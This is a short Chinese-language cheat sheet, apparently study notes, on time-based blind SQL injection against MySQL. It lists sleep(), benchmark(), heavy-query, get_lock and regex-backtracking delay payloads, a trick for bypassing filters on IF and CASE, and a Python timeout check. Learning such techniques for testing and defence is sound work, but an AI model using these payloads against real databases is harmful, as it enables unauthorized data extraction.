if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;
无if和case的解决办法
假设if
和case
被ban了,又想要根据condition的真假来决定是否触发sleep()
,可以将condition整合进sleep()
中,做乘法即可:
sleep(5*(condition))
benchmark
是替代sleep
的首选。
用法:benchmark(执行多少次,执行什么操作)
benchmark(1000000,sha1(sha1(sha1(sha1()))))
笛卡尔积
也就是所谓的HEAVY QUERY,用的不多。
select count(*) from information_schema.columns A, information_schema.columns B
get_lock
可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。
正则
通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
正确的写延时盲注脚本的方法应该是:
try: requests.get(url, timeout=3)except: print("延时发生了,注入成功")